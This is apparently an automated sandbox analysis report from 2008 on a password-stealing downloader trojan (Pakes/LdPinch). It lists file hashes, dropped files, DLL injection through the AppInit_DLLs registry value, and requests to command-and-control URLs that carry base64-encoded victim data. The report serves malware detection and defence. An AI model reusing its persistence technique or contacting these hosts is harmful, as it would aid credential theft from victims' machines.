Submission Summary:

• Submission details:
• Submission received: 17 June 2008, 01:58:11
• Processing time: 3 min 36 sec
• Submitted sample:
• File MD5: 0x3CE72F1B2C456E3206B17D0DBD1649A4
• File SHA-1: 0xB4B6BA31DD2B56BE63616FF91EA01888D7F91148
• Filesize: 19,968 bytes
• Alias:
• Trojan.Pakes!sd6 [PCTools]
• Trojan Horse [Symantec]

• Summary of the findings:

What's been found	Severity Level
Downloads/requests other files from Internet.
Uses the AppInit_DLLs value in order to install a module that will be loaded into the address space of every running application.
Contains characteristics of an identified security risk.

Technical Details:

Possible Security Risk

• Attention! Characteristics of the following security risks were identified in the system:

Security Risk	Description
Trojan.Pakes!sd6	Trojan.Pakes!sd6 is a malicious program that does not infect other files but may represents security risk for your computer and/or network environment.
Trojan.LdPinch	Trojan.LdPinch steals passwords, system information and other data from a number of popular applications including ICQ, Trillian and AOL Instant Messenger. This information is then sent to a remote site or email.

• Attention! The following threat categories were identified:

Threat Category	Description
	A malicious trojan horse or bot that may represent security risk for the compromised system and/or its network environment
	A program that downloads files to the local computer that may represent security risk

File System Modifications

• The following files were created in the system:

#	Filename(s)	File Size	File Hash	Alias
1	[file and pathname of the sample #1] %System%\win_2ma.exe	19,968 bytes	MD5: 0x3CE72F1B2C456E3206B17D0DBD1649A4 SHA-1: 0xB4B6BA31DD2B56BE63616FF91EA01888D7F91148	Trojan.Pakes!sd6 [PCTools] Trojan Horse [Symantec]
2	%System%\win_q.dll	4,096 bytes	MD5: 0x40AE7C9811AEB337AD2B683C413AAE56 SHA-1: 0xAD552567DDB0C43458A45CF42FD42D942E8B8490	Trojan.LdPinch [PCTools] Downloader [Symantec] Trojan-Downloader.Win32.Small.cyn [Kaspersky Lab] Downloader-AWH.dll [McAfee] TROJ_DLOADER.FJC [Trend Micro]

• Note:
• %System% is a variable that refers to the System folder. By default, this is C:\Windows\System (Windows 95/98/Me), C:\Winnt\System32 (Windows NT/2000), or C:\Windows\System32 (Windows XP).

Memory Modifications

• There was a new process created in the system:

• There was a new memory page created in the address space of the system process(es):

Process Name	Process Filename	Allocated Size
svchost.exe	%System%\svchost.exe	40,960 bytes

• The following module was loaded into the address space of other process(es):

Module Name	Module Filename	Address Space Details
win_q.dll	%System%\win_q.dll	Process name: IEXPLORE.EXE Process filename: %ProgramFiles%\internet explorer\iexplore.exe Address space: 0x10000000 - 0x10005000

• Notes:
• %ProgramFiles% is a variable that refers to the Program Files folder. A typical path is C:\Program Files.

Registry Modifications

• The newly created Registry Value is:
• [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer]
• MinVersion = 0x0A0BCF0A

• The following Registry Value was modified:
• [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows]
• AppInit_DLLs = "%System%\win_q.dll"

so that win_q.dll runs every time a Windows application starts

Other details

• The data identified by the following URLs was then requested from the remote web server:
• http://bizus-kokovs.cc/cgi-bin/get.cgi?data=dmVyPTUmdWlkPTE2ODU0NjA1OCZjb25uPSZvcz1YUCZzb2Nrcz0xMDM0JmlwPTEyNy4wLjAuMQ==
• http://httpdoc.info/cgi-bin/get.cgi?data=dmVyPTUmdWlkPTE2ODU0NjA1OCZjb25uPSZvcz1YUCZzb2Nrcz0xMDM0JmlwPTEyNy4wLjAuMQ==